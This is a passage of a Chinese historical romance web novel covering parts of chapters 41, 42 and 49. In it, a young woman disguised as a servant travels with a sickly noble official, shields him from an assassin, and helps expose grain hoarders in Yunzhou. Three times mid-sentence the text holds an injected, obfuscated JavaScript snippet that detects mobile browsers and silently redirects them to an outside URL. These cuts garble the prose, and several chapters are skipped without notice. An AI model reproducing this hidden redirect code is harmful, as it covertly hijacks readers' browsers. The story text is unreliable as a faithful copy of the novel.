平康眼看着面前打斗的二人也心焦不已,这孙副尉是个粗莽武将,万一不小心伤着英姑娘可怎么办?平康心里也着急,连声喊着,“别打了,你们快别打了。” 可那两人竟是一点也听不进去,依旧打得难解难分。单论力量,陈英自知不及,只能取一个巧字,招式灵活多变,脱身起来倒也不难。一次次破解对方的攻势,让她心里越发觉出言昱安教她的这些拳法甚为精妙。 她颇有些得意,旋身避过一招。 她得意的笑容还挂在脸上,那么明媚,那么耀眼。 然后她不经意对上了屋檐下白衣胜雪,墨发轻扬,正静静望着她的男子。 陈英一时呆住,就在她失神的一刹,孙承光飞身直冲过来,眼见就要擒拿住陈英。 就在这时,言昱安开口,沉声打断他,“孙副尉,还有正事要做。” 孙承光神色一凛,立即停下手,略感歉意地朝言昱安抱拳,“是卑职失礼了。” 陈英待在原地,愕然地望着言昱安冷着脸转身进了屋,孙承光也很快跟进去。 一时间手足无措,也不知刚才过招被他看了多久,可就是这样呆呆站着,陈英心早已纷乱如麻 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她是万万没想到,当初自己义无反顾追上来,在旁人眼中,自己竟是为了挣个名分?任谁都知道那江锦舒才是言昱安门当户对的良配,那她算是什么,为挣个妾室名分,不顾女儿家清誉一路追随纠缠他么? 言昱安是不是也这么看她。那日在老太太的佛堂里,她是亲耳听见言昱安说与她只有兄妹之情,并无男女私情。 是了是了,这一切从头到尾都不过是她自作多情罢了。那个人,或许都不曾对她动过心,如果真对她动过心,又怎么会在亲吻她之后又将她推开,让她将这一切都忘掉后又落荒而逃呢? 陈英越想越清醒,心中涨满酸楚的滋味。可她此刻也无力去辩驳什么,只是语气淡淡说了句,“应该很快就能到云州了吧。” 竟不料连下三日大雨,天气也越发的冷,赶路自然也被耽搁下来。 一次闲坐窗下,偶然听到外头几个丫鬟扯闲话,才晓得被拦在城外的流民已经进城。 不仅如此,言昱安还借兵剿灭了匪寇,收回被侵占的土地归还百姓。他又下令广开义仓赈济流民,更让人欣慰的是,有不少人感念朝廷恩德,纷纷主动参军要报效朝廷。 这原是个令人高兴的消息,可不知怎么外头忽然一静,传来几声清浅的叹息。 有个丫鬟搓着手哈气,稍暖和了些,捂了捂冻得发僵的脸蛋,“你们有没有觉得言大人这些天夜里咳嗽得越发厉害了,虽说日日也吃着药,可怎么就一直不见好。” “那位大人的屋子压根都不许我们靠近,你怎么晓得他夜里咳没咳嗽?” “我……我怎么就不能知道了,这几天我夜夜都在膳房熬药。”她后面的说话声越来越小,最后竟幽幽叹息起来,“你们说,言大人病得这般重,会不会撑不过去啊。” 话音刚落,另几个丫鬟七嘴八舌小声议论起来。 陈英捧着热茶的手却是一松,滚烫的茶水尽数落在双膝上,下意识掀开膝上的裙摆,看见一片淡淡的红痕,不知为何,眼泪却不由自主簌簌落下。 在晦暗的天光下,她捂住口鼻压住粗重的呼吸声,泛红的眼眶下任由泪水斑驳。 那些话在心里回荡不止,她禁不住自己多想,又忆起那个预知未来的噩梦,瞬间将人心底最深的恐惧无限放大。 41. 第 41 章 陈英和孙承光也没什么交集,平日她陪在言昱安身边偶尔碰面,也只是互知姓名的程度。眼下这最要紧的秘密被他知晓,怕是会引来麻烦,说不定还会连累言昱安。 想到这她便立即束好发髻,又暗暗掐了下大腿,“孙大哥,我是有苦衷的。” 话还没说完她就捂着脸,已经泣不成声。 孙承光脸上惊愕还未消,望着哭得梨花带雨的陈英,好半晌,他都拧眉不语。 默了会儿,他俊脸一沉,走到陈英面前,“你别哭,有什么苦衷只管说出来。” 他说到这里,又朝她上下打量一眼,又望着她白皙纤细的脖颈,还有那我见犹怜的,清艳的小脸。 看着看着,他似是想到什么,忍不住皱眉问道,“姑娘,你可是言大人的侍妾?” 刹那间,陈英脸上犹如火烧,她抬起头,狠狠瞪向孙承光。 在对上那充满审视的面容时,她的目光垂落下来,一字一句沉声说,“我不是。” 声音倔强又坚定。 孙承光还在望着她,望着望着,那眼神越发不解,半晌,他竟然低笑出声,“我就说嘛,言大人那般的神仙中人,怕是不轻易近女色的,先前送来的美婢娇妾可不少,愣是一个不留呢。” 说到这里,顿了顿,语气里尽是好奇,“可是他又为何唯独将你留下呢?” 他显然是要打破砂锅问到底,那双铜铃大眼,黑的发亮,又像闪动着火焰灼灼逼人。 陈英只看了一眼,便迅速低下头,装作哭哭啼啼,最后只得编了个谎,“我本是云州人氏,幼年时为躲避战祸逃到京城,多亏武安侯府收留才得以栖身。可京城终究不是我的家乡,我一直有个心愿便是回云州找寻失散的亲人。幸得世子爷怜悯,这才容我一路随行,许我归家。” 这番说辞,倒也大致能够对上。虽说陈英面上算作武安侯府的义女,但此刻她孤身跟在言昱安身边,这名声对于尚未婚嫁的姑娘多少有些不好听。 陈英哭得梨花带雨,孙承光贯来是个侠气耿直的,听见这番话倒是怜香惜玉起来,含糊着说了句,“你莫怕,我也会护着你的。” 说着他挠了挠后脑勺,嘿嘿一笑,黑亮的双眼在她身上打转,“听闻武安侯府当年也是以武建功,你一个姑娘家能学到这么精妙的拳法,想来言大人也是个不藏私的,不如日后若得空闲,你我私下多切磋如何?” 既然言昱安没让她隐瞒功夫,那她跟人切磋应该也没事。再说孙承光都答应会护她,眼下他这个要求,怎么都该应下来。 况且对习武之人来说,有机会多与人切磋是件好事。 陈英心里乐意面上倒是一片为难,红着眼圈,犹犹豫豫说,“若是旁人知道我是女子,怕是会给孙大哥招来麻烦。” “不会。”孙承光脸上腾地一红,又看了眼面前的女子,心竟莫名地狂跳起来,“我的意思是,我会替你保守秘密,也会护着你平安归家。” 陈英这才满意地点头,应下切磋的事。 等回到营帐,陈英一抬眼,就看见言昱安坐在案几前看书,案上摆着饭菜却似乎没有动过。 暖黄色灯火映照在他脸上,下颌线被勾勒出一道流畅的线条,他墨发披垂,少了白日里的矜贵清冷,眉眼间也敛去几分疏淡,看上去似乎是心情还不错的样子。 似是察觉到有人进来,言昱安眼尾一扫,看到站在门边神思恍惚的女子,唇角一提,“你不是说要好好照顾我吗?这又是去哪里偷闲,晚膳还要我等你。” 他倒是头一回这么揶揄陈英,陈英心觉理亏,自然不敢回嘴,就连被孙承光识破女儿身的事情,更是连提都不敢提。反正她已经说服孙承光替她保守秘密了,想来也没必要再告诉他。 陈英望着他尴尬地笑了下,而后也不说话,十分乖觉地走到他身旁坐下。 言昱安放下书,起身去帐外吩咐人把菜撤下去热一热。随即,他又从书案上取出一封信递给陈英,“这是我派人去云州查到的,是个好消息。” 陈英见他目光笃定,神色轻松,忐忑的心这才稍稍安定下来。接过信来来回回看了好几遍,才确信阿爹和阿兄或许真的尚在人世。 原来当年云州失守,北狄人对外宣称屠城数日,可实际情况并非如此。北狄人物资奇缺,以往靠劫掠财物过活,当年一举攻下云州城,便是如老鼠钻进了谷仓。 云州身强力壮的男子皆被北狄人,用铁索串成运输钱财物资的苦力。如今韩忠将军将北狄主力军围困在狮吼山,那些云州壮丁也趁机反抗,大多都已逃出生天,此刻阿爹和阿兄或许已经平安回到云州。 陈英心里像浪潮翻涌,登时就哭了出来,“我就知道,阿爹和阿兄一定还活着,他们一定也在等我回家。” 她说着将信又颤颤地递回去,含泪的眼睛里看着言昱安都是激动,“我要回云州,我现在就要回去。” 言昱安看着这样的她,心中蓦地一软,伸出手却没接那封信,而是将她揽入怀中,“阿英,快了,我们就快到云州了。” “我们?” 清苦的药味混着甘松香缠绕过来,又被温暖的怀抱裹住,叫人避无可避。陈英把脸埋在他的胸膛里,许久后,她抬起头,幽幽看向他,“我们现在孤男寡女抱在一起,你说这样到底算什么?” 空气仿佛在这一刻凝固,好半晌,才听见言昱安滞涩的声音。 “阿英,对不起。” 他口中虽在道歉,可拥抱陈英的双臂却似乎更紧了些,“这天底下好儿郎众多,我定会为你择一个好夫婿,许你一生幸福无忧。” 陈英开始愣了下,等回过神来,抬起头望向他的脸,眼中带着决绝,突然猛地张嘴咬住他的唇。 唇舌勾缠间,她忽然想说,倘若我想要的幸福只有你能给呢。转念便作罢,她知道言昱安不会娶她,即便吻过她又如何,说出来不过是自取其辱。 两人唇齿相缠,几息间,早已分辨不出是谁在主动,只有无尽的痴与怨,还有些那纠缠不清的情愫席卷着彼此,只愿在这一刻共沉沦。 分开时陈英在他唇上狠狠咬了一口,感觉男子闷声吃痛,她双臂环住他的脖颈,眼底含着泪笑得很是开怀。 火辣辣的刺痛感,顺着肿胀的唇瓣直往人心里钻。 言昱安垂下双眸,眼底藏着一丝隐忍的心疼,伸手将她唇上那点血迹抹去,轻叹了一声,“阿英,你不该这么任性,我怕将来你会后悔。” 明明是极其绝情的话,他偏说得这般真诚,仿佛是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289370|152082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在同她说着世间痴男怨女的缠绵情话。 陈英无声地扯了下嘴角,然后用力推开他,站起身头也不回地朝营帐外跑去。 之后一连数日,马车中两人都不怎么说话,平康也慢慢觉察出二人之间气氛微妙,却又不像是闹脾气的样子。 只是每晚扎营时,总不见陈英的身影,起初言昱安忙于处理公务,倒也没太在意。直到有一回他独守一桌凉透的菜肴,没等到回来的陈英,却是等到寻人回来的平康。 “世子爷,姑娘找到了,在河边和孙副尉一起吃烤鱼呢。” “她不肯回来?”言昱安脸色沉了下来,见平康一脸为难的模样,想了想之后说,“罢了,带我过去看看。” 只这么一句话,平康顿时心如擂鼓,世子爷的脾性他是晓得的,尽管面上不动声色,其实心里怕是早已动气了。 他赶紧跟上两步,觑着言昱安脸色,小心劝道,“世子爷您寒症还没退,河边又夜冷风急的,还是不要过去了。这些天姑娘和孙副尉常在一处,您也不用担心,有孙副尉在旁,姑娘也是安全的。” 言昱安正往外走,摇曳的烛灯将他的影子照得虚晃起来,他脚下滞了滞,而后头也不回地跨出了营帐。 平康见他执意要去,摇了摇头,心里默叹口气又赶紧追上去。 心里一面想着,方才找到英姑娘时看到的情形。他从未见过英姑娘那般开怀大笑过,一点也不像在京城侯府时谨小慎微的姑娘,而像是生长在这山林间散漫率性的乡野村姑。 他私心里竟觉得,这样的英姑娘才是真正快乐的,若是将来她不跟着世子爷,想必她也能过上更自在随心的日子。 河岸边,孙承光手中翻转烤着鱼,一边绘声绘色说着什么,陈英坐在篝火旁,微微侧耳倾听,任由夜风把她鬓边的碎发吹得纷乱,火光映在她脸上红扑扑的,衬得她的笑容犹如醉酒般的妩媚动人。 言昱安强压下喉间的痒意,在黑暗中紧了紧披风,不动声色地看着。当初那个爱哭鼻子的小姑娘真的长大了,眉眼里满是豁朗与坚毅,举手投足间竟有几分游侠的散漫和疏狂。 多年的朝夕相处,让他似乎忽略了许多,现下猛然惊觉,陈英是真的长大了。 陡然间四目相对。 陈英眨了眨眼,又眨了眨眼,还以为是自己眼花。她猛地站起身,在不甚明亮的月光下,她终于看清了,真的是言昱安,他的脸上带着病容的苍白和憔悴。 还来不及多想,就见他正朝这边走过来,瞧这情形,莫不是他特意跑来兴师问罪的? 一边寻思,陈英正准备走过去,在经过孙承光身边的时候,忽然被攥住了手腕。 耳边传来孙承光略微紧张的声音,“言大人,阿英的事情我都知道了。不知言大人可否帮在下保个媒?” 言昱安脚步一顿,目光沉沉地看向陈英,像是在质询。 觉得再不说点什么,怕是会叫人误会,陈英有些不自在地抽回手,侧过头小声问,“孙大哥,你这是在说什么?我怎么……” “英姑娘,我是认真的,只要你点头,等到云州我便立刻去府上提亲。” 声音陡然地坚定起来,孙承光从衣襟里摸出一个长命锁,塞进陈英的手心里,不容拒绝。 42. 第 42 章 就在陈英惊讶得说不出话时,一个清冷的声音从她面前传来,“阿英?” 是言昱安的声音。 陈英抬眼看过去,目光触及他唇角伤痕时,脑中浮现起那夜咬伤他的画面,后背禁不住窜起一阵燥汗。 心神晃了晃,陈英将长命锁又塞回孙承光手里,“孙大哥,这婚姻大事应由父母所定,如今这般私相授受,怕是于理不合。” “是我唐突了。” 孙承光迟疑了一会儿,这才后知后觉,红着脸说,“英姑娘,你莫要生气,我是个粗人,见着喜欢的姑娘,心一急便只想着提亲了。” 陈英诧异地看向他,“你喜欢我什么?” 孙承光眨了眨眼,下意识脱口而出,“武功好。” 话刚出口,他又低头瞥她两眼,“长得也好看。” 陈英望着他,感觉沉甸甸的心蓦地一松,竟忍不住笑了笑,“若是再出现一个武功好,长得也好看的姑娘,你是不是也会喜欢?” 这话一出,孙承光猛然抬头,他皱起眉,眼里有一瞬迷茫,“你这是什么意思?” 这样单薄的喜欢又如何能长久,一时冲动下的许诺也不过是戏言,怕是当不得真。 陈英忽然发现自己无法跟他解释,既然说不清,那就只能笑了笑不再开口。 见她不答,孙承光表情变得有些严肃,似是还想再说点什么。 这时,言昱安轻咳几声,他朝陈英望了一眼,转头目光沉冷地看向孙承光,“这天底下你可求娶的女子众多,但唯独她,不可。” 说完后,他目光转向陈英。月光下,她的脸庞如脂玉般明亮洁白,只有眼神近乎呆滞,嘴唇微微翕动着,却是说不出话来。 言昱安屈指弹了下她的额头,迫使她回过神来。 他正待开口,原本静流无声的河水突然传出一阵异动,他们此刻距离营地尚有段距离,若是大声示警已然来不及。 言昱安解下披风,迅速将火堆扑灭,“河里有埋伏,待会儿只管朝树林跑,不要回头。” 此刻他们在明敌人在暗,危险更是无法预料,若说尚有一线生机,那便是趁对方还未发觉,奋力逃离岸边钻入树林藏身。 眼神从孙承光身上一扫,其中暗含托付之意,彼此心中已达成默契。 陈英担忧地望向言昱安,刚朝他伸出手,却被孙承光一把抓住手腕,下一刻被拽着飞快地奔向黑黢黢的树林。 耳边的夜风呼呼刮过,因着两人都是习武之人,奔跑起来更是如马踏飞燕,速度极快。陈英扭头回望,惨白的月光下,茫茫暗河涌动,一个黑影犹如鬼魅般从水中腾起,泛着银光的长剑在夜空中发出微微剑鸣,直直刺向言昱安。 她不知哪来一股劲,奋力挣脱孙承光的钳制,纵身一跃扑了过去。 “阿英。” 耳边是言昱安呼出的湿热气息,还有他一声声的焦急呼喊,黑夜中她看不清他的神情,但她知道此刻他的脸色一定不太好看,不过她已经不在乎了。 陈英扑倒在言昱安身上,亦如小时候第一次在侯府花园里相遇那般。唯一不同的是,她的后背正滋滋流着血,她感觉胸口钻心的疼痛,疼得张了张嘴,却发不出一点声音。 她忍痛闭紧双眼,一动不动地听着那刺客与孙承光的打斗声,还有言昱安贴在她耳边一遍遍颤抖的呼唤声。 从来没有一刻,如此刻这样漫长,漫长得每一个呼吸里,穿心的疼痛游走全身。 从来没有一刻,如此刻这样松弛,松弛得可以无所顾忌地搂住他的腰,将脸贴在他的胸怀,感受他胸腔的震动与强劲的心跳,就好像将自己嵌入他身上,永不分离。 无边的黑暗与疼痛中,她只感觉到言昱安身上那熟悉得令人心安的气息。尽管她的意识因疼痛而渐渐模糊,但是头顶男人温热的呼吸,一下一下喷洒在她的颈侧,令她感觉微微发痒,身子不由自主地颤栗。 言昱安以为她冷,温柔将她抱坐在腿上,他低头看向怀中女子,黑暗掩住他眼底情绪,“为什么这么傻?” 这句话声音很轻,轻得还没让陈英听清,就已经被夜风吹散了。 也不知过了多久,孙承光喘息着,嘶声竭力的喊声从不远处传来,“快将刺客拿下,快将刺客拿下。” 又一阵嘈杂的纷乱中,匆匆赶来的护卫军已将刺客包围。 在一阵激烈的打斗声后,四周很快安静下来。黑暗中,言昱安抱着因失血昏迷的女子,疾步走向灯火明亮的营地。 营帐内,言昱安守在床榻边,看着随行大夫剪开陈英后背被血水浸染的衣襟。 大夫已是年逾五旬的,有些干瘦,却是目光炯炯,仔细缝合好背部伤口后,眼神触及伤者脸时微微一怔,继而后退两步说,“好在未伤及心脉,只需涂上止血生肌的药再行包扎。” 言昱安不动声色地替陈英盖上锦被,平康领着大夫退出营帐,不一会儿,他端着药膏和纱布进来,低低说道,“世子爷,大夫已经打点过了,会守口如瓶。” 说完他又望了眼床榻上的陈英,一时间脸色犹豫,颇有些为难。 “东西放下,你出去守着吧。” 平康心头一跳,世子爷这是要亲自给姑娘上药?心中冒出这个念头,顿时脸上惊疑不定。 言昱安垂眸看着床榻上的陈英,用湿帕子一点点替她擦脸,似是察觉到平康的顾虑,他默了会儿,头也不抬地解释了句,“性命攸关,一时权宜。” 罢了罢了,眼下这个情形,自然是英姑娘的性命要紧,哪里还顾得上男女大防。平康僵硬地应了声是,便匆匆搁下东西退出去。 纵使是不得已,言昱安也明白,当她纵身挡在自己面前时,那样以命相护的深深震撼,已经令他无法再眼睁睁看她另嫁他人了。 烛光下,陈英皱着眉双目紧闭,唇色也有些发白,呼吸更是短促,大概是疼极了。 言昱安轻轻掀开锦被,动作缓慢地替她拉开后背衣襟,直到看清那莹白如玉的肩胛上狰狞的伤口时,心脏猛地如锥刺般疼痛,手指微颤着,一点点替她抹药。 感觉伤口处传来冰凉的刺痒,陈英闷哼几声,抬手便要去抓挠伤处,不料手却被人一把握住,“阿英,不要动。” 接着她沉重的眼皮掀开一条缝,只觉眼前光影模糊什么也看不清,只有手掌心传来温热触感。像是柔软的唇瓣在掌心流连,带着温热气息,像是一片轻盈的羽毛在掌心轻扫,激起的痒意顺着手臂蜿蜒至心底。 这时候的陈英已经清醒,感觉后背有微风轻拂的凉意,空气里满是血腥气混着草药味,她知道是言昱安在给她上药。 可眼下这个情形着实尴尬,她不想面对言昱安,索性就闭眼装作没醒。 但是紧张的呼吸声还是出卖了她,床榻边,言昱安正在给她后背抹药的手一停,起身去桌案前,将蜡烛吹灭,营帐里瞬间就陷入黑暗中。 女子仍旧在装睡,没有半点声息,他闭了会儿眼,等到完全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他的语气中有着沉怒,极其认真的沉怒。 在京城里人人夸耀,敬重的状元郎,举止从容,温文尔雅的世子爷,却因为女子的一句话激怒,说出去怕是谁都不敢相信。 言昱安面沉如水,眸中盛满怒意,陈英有些怵惕地看向他,咬着发白的唇点了点头。 看着她苍白如纸的脸,言昱安有些后悔,今晚她受伤却没喊过一声痛,他如何能忍心再斥责她。可他实在心有余悸,想起方才抱她进营帐时那毫无声息的样子,就觉得脊梁骨阵阵发寒,浑身颤抖不止。 “今后我会加派护卫轮守,你不许再离开我的视线。” 言昱安缓步走到床榻边,扶着她侧身躺下,又不放心地说,“这次是你命大未伤及要害,若是再有下次,我宁可受伤的是我自己。” 陈英翻了个身趴在床上,虚弱地说,“我知道了。” 她知道他是不想让她受伤,可是倘若真有下一次,她怕是依旧不会听他的话,宁可受伤的人是自己也不愿是他。 一阵静默中,陈英很快便昏昏沉沉睡着了。 再次醒来,天光明亮。 帐外是一片嘈杂的声响,隐隐有话语声。陈英凝神细听着,便听到一个熟悉的声音,“她是我的人,就不劳孙副尉挂心了。” “可,可是她……” “她不惜性命救我,你觉得言某与她是什么关系?” 49. 第 49 章 小算盘打得哗啦响,还真以为他看不出来?好一个上推下卸,明哲保身。 言昱安没有立即应声。 这时传来一阵脚步声,一抬眼便看见陈英抱着大氅走过来。小厮的衣裳穿在她身上略显宽大,束腰上堆叠出层层褶皱,越发衬得她身姿纤细,像是插在灰土陶瓶中的一枝梨花,惹人怜惜。 悄没声儿地,陈英绕到言昱安身畔,将大氅披在他肩上。 言昱安心中一暖,按住她的手背,语气里尽是宠溺,“你穿得太少,快进屋去吧。” “世子爷也当顾惜自己,昨儿个京城还来信催咱早些回去呢。”陈英故意大声说着,生怕那些人听不见。 方才他们的话,陈英在屋里可都听得一清二楚。这般吃力不讨好的差事,当真不想让他揽下来。来云州本就给他添了不少麻烦,实在是不想欠他更多。 她的声音不小,一时间众人的目光都朝他俩投来,似乎都在倾听他们的对话。 言昱安垂着眸,语气淡淡道,“你说的也不无道理,不如此事便作罢。” 这话一出,那些兵卒就有些躁动,崔朗朝他们瞪了一眼,这才又安静下来。 此时的言昱安嘴角微微扬起,似是带着笑,冬日的阳光照在他明澈的双眸间,闪耀着一种莫名温煦的柔光。 陈英刚一抬头,便迎上这样的目光。只一眼,她便下意识地后缩,脸上羞得发烫。这算不算是与他心照不宣的默契? 就像那些话本上的痴男怨女,情意相通时,哪怕只是一个眼神,便胜过千言万语。 即便是梦中历经前世种种,她也没有体会过情爱是何滋味。前世她短暂的一生只有无尽的孤寂与冷清,还有深入骨髓的悲苦,求而不得。 想着想着,陈英不禁低下了头。 见她神情落寞,言昱安朝她走近,很自然地握住她的小手。陈英先是一惊,反应过来后,下意识便要挣脱他的手。 言昱安像是早有预料,宽大的手掌紧紧攥住她的小手,竟是纹丝不动。 感受到他掌心的温热,陈英心里忽然有种奇妙的感觉,这一刻,她好像能听见自己扑通的心跳声,脚下也仿佛踩着棉絮,双脚虚软险些站不稳。 他怎么敢,就这样不管不顾地牵她的手? 感觉四周陡然一静,静得令人头皮发麻。那些或揣测,或探究的目光,如刀刃箭镞般纷纷朝她射来。 这时刻,陈英泛红的小脸一点点转白,她低头咬着唇,只有唇齿间清晰的痛觉,才能压住她心中的惊惶无措,还有那份难以自抑的悸动。 言昱安却是神情自若,他不知道此刻陈英心底的惊涛骇浪,只是牵着她的手正要往回走。 “大人,城主重病难起,卑职又军务缠身,此事还是恳求大人襄助。”崔朗上前,双手抱拳不死心地劝道。 言昱安顿住脚步,侧过脸,深深看向他,“并非本官担当不起,而是责有所归。” 崔朗蓦地抬头,就看见面前清瘦的男子,明明是金相玉质的贵公子模样,却没有一丝倨傲凌人之气,反而襟怀洒落,眼神明亮,有种洞彻人心的敏锐。 愣了一瞬,他从怀中摸出令牌,单膝跪地奉到言昱安面前,朗声道,“城主病重,云州军务暂无人处置,还请大人看在云州受苦百姓的面上,暂代城主之职。” 话说到这个份上,言昱安显然有些动容,他扫了眼令牌,掀眸示意平康后,牵着陈英头也不回地离去。 回到屋内,听着外面众人散去的脚步声,陈英匆匆合上门。就在门关上的那一刻,她大口喘息了几下,而后眼神幽怨地瞪向言昱安。 “你方才,为什么要牵我的手?” 话的尾音都带着哽咽,她眨了眨泪湿的眼睫,可眼前还是模糊,她抬起手背胡乱抹了一把,把眼眶擦得越发红。 然后她靠着门缓缓下滑,蜷缩着坐在地上,呜咽着,“现在所有人都知道你我不清不楚了,你究竟要置我于何地?” 言昱安长叹一声,他走到陈英面前,用指腹温柔地替她拭泪。 此时门窗紧闭,屋内光线黯淡,瞧不清他脸上神情。默了会儿,他俯身凝视着陈英,压低的声音里带了些诱哄的味道,“阿英想知道我心中将你置于何地,我可以告诉你的。” “我明明扮小厮也没出纰漏,这下全都完了。”陈英吸了吸鼻子,眼泪还是不争气地往下掉,“若是传到京城里,可怎么办?” 她只觉得气恼至极,偏又对着他发不出火。陡然间,温热的气息逼近,紧接着一双强劲的手臂将她搂抱起来。 言昱安将她搂在怀中,一边轻抚着她的秀发,“阿英,这一路来你我朝夕相伴,同车同寝,真以为旁人都看不出来么?傻丫头,他们只不过是装作不知罢了。” 顿了顿,他忽然轻笑起来,低头看向怀中一脸呆滞的陈英,温柔如水地说,“便如此刻,你我二人关上房门,哭哭啼啼,你侬我侬,外头听见了,稍加揣测便知实情啊。” 温柔而沉缓的声线中,皆是循循善诱为她答疑解惑的语气。 陈英呆愣了一瞬,最终不得不承认,自己还是太愚笨了。 忽然,她挣脱开言昱安的怀抱,猛地冲到房门边,伸手握住门栓,想把门打开。 恰在这时,言昱安的声音从身后悠悠传来,“阿英,你脸上神情幽怨,泪痕斑驳,若是让外人瞧见,你我怕是更说不清了。” 说完,又是一声叹息,颇有些无可奈何的意味。 陈英开门的动作僵住了,最后还是慢慢收回手。她扭过头,仍旧心有不甘,“你既然知道,为什么不和我避嫌?” 见他脸上的笑容消失了,陈英无端的紧张起来。 明明当初是她哀求言昱安带自己同行的,倘或外面真传出些风言风语,其实也怨不得他,归根到底都是自己造成的。 这么一想,心里的气便消了大半。她借着去倒茶水的空当,将眼泪擦干净,柔声说了句,“其实这于我并不打紧,我只是怕损了你的名声,怕你往后议亲时会被世人诟病。” 言昱安只静静地看着她,那目光有些复杂。 陈英心里发虚,偏过头,刚一避开他的视线,手中的茶水便洒到桌面上。她吓得倒吸了口气,慌忙从衣襟里取出帕子,正要去擦桌上的水渍。 这时,一只修长的手伸过来,顺手接过了她手中的帕子。 言昱安摊开看了一眼后,便收进自己袖中,“当下查清那批粮饷下落才是要紧的事情,至于其他的,你也无须担心。” 陈英浑身一僵,仔细琢磨着他话里的意思。 的确是她太浅薄了,如今云州动荡百姓疾苦,她还在为这点小事哭哭啼啼,实在是有些没轻没重。这样一想,便也红着脸低下头,“我知道了。” 到了第二天早晨,倒是发生了一件意料之外的事情。 竟是云州城内大小官吏前来拜见言昱安,显然昨日的事都已传到他们耳中。这才一大早赶着到城主府来,一则打探风声,见识一下这位代城主管事的京官,二则借机会表个态,愿效犬马之力,好在上官面前留个好印象。 陈英只觉得心寒,这些人只知道谄媚巴结,竟无一个人提及云州受灾的百姓。 先前从宋管事口中,听到云州灾民的事。陈英起初还不太敢相信,可后来她循着儿时记忆,与言昱安驾车出府寻访时,才真切感受到什么是民间疾苦。 破败的街市上,随处可见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289378|152082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的行乞者。骨瘦如柴的老妪和幼童跪在道边,神情木然地望着来来往往的行人,颤抖着唇,声若蚊蚋。不知是在乞求行人施舍,还是在求满天神佛垂怜。 马车哒哒而过,街市上只有零零散散几家商铺开门营业。仔细一看,全是米粮店,门前还闲散地或蹲或站着几个粗壮大汉,个个面带煞气地盯着过往行人。 这样的情景,有种说不出的古怪。 可她还是心有不忍,取出私攒的银钱,打算去买些米粮在城中施粥。 言昱安却不许她下马车,只是唤了平康,吩咐几句之后,平康便领着几个护卫离开。 陈英有些不解,“为何要雇灾民挑沙子?” “施粥济民不如以工代赈,正好云州仓廪府库也需要修缮。” 听言昱安这么解释,陈英心里还是不踏实。正胡思乱想着,感觉手背一暖,“不用担心,那些老弱妇孺也都会得到妥善安置的。” 陈英又掀了车帘,一阵彻骨的寒风迎面袭来,同时入眼的,还有路边忍饥受冻的孩童。 但愿言昱安能救民于水火,让一切都早日好起来。陈英没有说话,只是紧紧回握着男子的手。 言昱安安排灾民修缮仓廪府库,并不是随口一说,而是心中早已有成算。 等到晌午时分,仓廪府库门前停下一队车马,那领头之人正是平康。 此时言昱安和陈英站在对面客栈的二楼窗边,看着雇佣的灾民将一个个鼓胀的麻袋从马车中卸下,然后十分吃力地扛进粮仓里。 陈英面露不忍,小声地咕哝了句,“那麻袋一定沉得像石头吧。” 听她随口这么说,言昱安忍不住挑眉看了她一眼,而后不置可否地轻笑了一声。 这夜,粮仓内灯火通明,即便是门窗紧闭,里面司库人员用米斛计量,拿着竹筹朗声唱报的声音还是响彻夜空。 一连数日,都有长长的运粮车队驶进城内,声势浩大,一路上吸引了不少目光。更有甚者,一路尾随到仓廪府库门前,眼巴巴看着那一捆捆麻袋被扛进去,最后还是怅然若失地摇头离去。 如此又过了几日,有几个形迹可疑的人出没在仓廪府库附近,鬼鬼祟祟的不知想干什么。直到有一天夜里,几个蒙面人越墙进入仓廪府库。 他们撬开一处门扇缝隙,往里一看,只见麻袋里的米粮被倾倒在地上,堆成大大小小的沙丘。这伙人并未逗留,只探明了粮仓内的情形便如鬼魅般悄无声息地离去。 只不过他们并不知道,他们的行踪早已落入蹲守此地的暗卫眼中,当晚言昱安便得了消息,再结合查阅到的城门进出记录,其中关窍瞬间便了然于心。 要说起来,陈英也算是立了一功。当时翻阅城门进出记录时,还是她无意间提了一句,“城内米粮短缺,怎么连商户贩运米粮的记录都没有。” 虽是一句无心之语,但还是被有心人听了进去。言昱安思忖了会儿,便吩咐几批人出去查探,果然探得的消息,最终一一应验。 网已经布好,只等着硕鼠钻进米仓。 月黑风高的夜晚,藏身于暗处的护卫眼中都有些困乏。 哐当哐当,一阵沉闷的撞墙声从一处矮墙传来。护卫们眼底的困乏一扫而空,眼神立刻如鹰隼般牢牢锁定那面矮墙。 那是仓廪府库西北角的一处矮墙,墙体单薄且年久失修,有些砖块甚至剥落,露出两三指宽的砖缝来。 护卫们互相交换了眼神,分别握紧了手中的佩刀,一点点朝那个方向逼近。墙体慢慢被撞出一个窟窿,随着一声声撞击,窟窿越来越大,忽然几个黑影像鬼一样从墙外钻了进来。 “点灯抓鼠。”护卫大喝一声,立即便有无数火把骤然点亮。 50. 第 50 章 像是预感到什么,陈英这夜睡得并不踏实。听见外头有动静,于是披衣起身,一开门便看见平康打着灯笼站在庭院中。 